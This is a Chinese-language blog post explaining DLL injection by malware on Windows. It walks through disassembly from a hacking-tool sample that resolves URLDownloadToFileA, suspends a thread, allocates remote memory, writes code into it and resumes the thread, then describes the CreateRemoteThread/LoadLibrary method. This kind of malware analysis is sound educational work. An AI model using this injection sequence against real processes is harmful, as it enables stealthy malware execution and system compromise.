在 Windows 作業系統下,每個程序(Processs)在執行過程中,會根據程序所需調用的 APIs 載入需要的 DLL(Dynamic-Link library)。對於病毒而言,有一種技巧是將惡意程式碼包在 DLL 中,並將此 DLL inject 至正常程序裡執行,執行過程中會因為載入該 DLL 以進行病毒行為。
常見 DLL Injection 方法下圖為此方法的流程
流程介紹下面我們用樣本 HackTool.Win32.Injecter.a 中的部分逆向程式碼說明上面這五個流程:
push offset aUrlmon ; "urlmon"
call LoadLibraryA ;
mov [ebp+NumberOfBytesWritten], eax
push offset aUrldownloadtof ; "URLDownloadToFileA"
要被 inject 惡意程式碼的目標 dll - urlmon.dll。
mov eax, offset aUrlmon_0 ; "urlmon"
call sub_402688
lea edx, [ebp+var_189]
mov ecx, 40h
mov eax, offset aUrldownloadt_0 ; "URLDownloadToFileA"
call sub_402688
; 在此之前的程式碼從某個惡意網站下載了程式碼儲存, 並修改了 urlmon.dll
mov [ebp+Context], 10007h
push esi ; hThread
call SuspendThread ;
lea eax, [ebp+Context]
push eax ; lpContext
push esi ; hThread
call GetThreadContext
push 40h ; flProtect
push 1000h ; flAllocationType
push 1000h ; dwSize
push 0 ; lpAddress
push edi ; hProcess
call VirtualAllocEx ;
mov ebx, eax
test ebx, ebx
jz loc_40A5ED
mov eax, ds:off_40B300
mov edx, offset aInjectingACode ; "Injecting a code..."
call sub_4041F8
call sub_402E30
call sub_402638
lea eax, [ebp+NumberOfBytesWritten] ;
push eax ; lpNumberOfBytesWritten
push 40h ; nSize
push offset sub_40A30C ; lpBuffer
push ebx ; lpBaseAddress
push edi ; hProcess
call WriteProcessMemory
lea eax, [ebp+Context]
push eax ; lpContext
push esi ; hThread
call SetThreadContext ;
jmp short loc_40A606
mov eax, ds:off_40B300
mov edx, offset aProcessMemoryI ; "Process memory is not accessible"
call sub_4041F8
call sub_402E30
call sub_402638
push esi ; hThread
call ResumeThread ;
淺談何謂 CreateRemoteThread呼叫 CreateRemoteThread 是常用的一種方法,這裡的 CreateRemoteThread 是建立一條 Thread 到另一個程序 (目標程序)裡。目的是要透過目標程序中的 Thread 來呼叫 LoadLibrary 並載入我們要用到的 DLL。
以下為 MSDN 所查到關於 CreateRemoteThread 的用法
假設我們用 LoadLibrary 載入 AAA.dll 時,參數(2)即是 LoadLibrary 的位址,參數(3)則會放 AAA.dll 的路徑。
談完感染型病毒後,接著明天會提到最近很夯但又令人棘手的勒索病毒。
希望有興趣的讀者也能夠點個追蹤,有任何問題或有想多了解的地方也可以回覆在文章底下唷,謝謝你們XDDDD!
參考來源:
DLL injection https://read01.com/0MJPao.html
DLL Injection and Hooking http://securityxploded.com/dll-injection-and-hooking.php
CreateRemoteThread Function https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms682437(v=vs.85).aspx
HackTool http://vx-archiv.at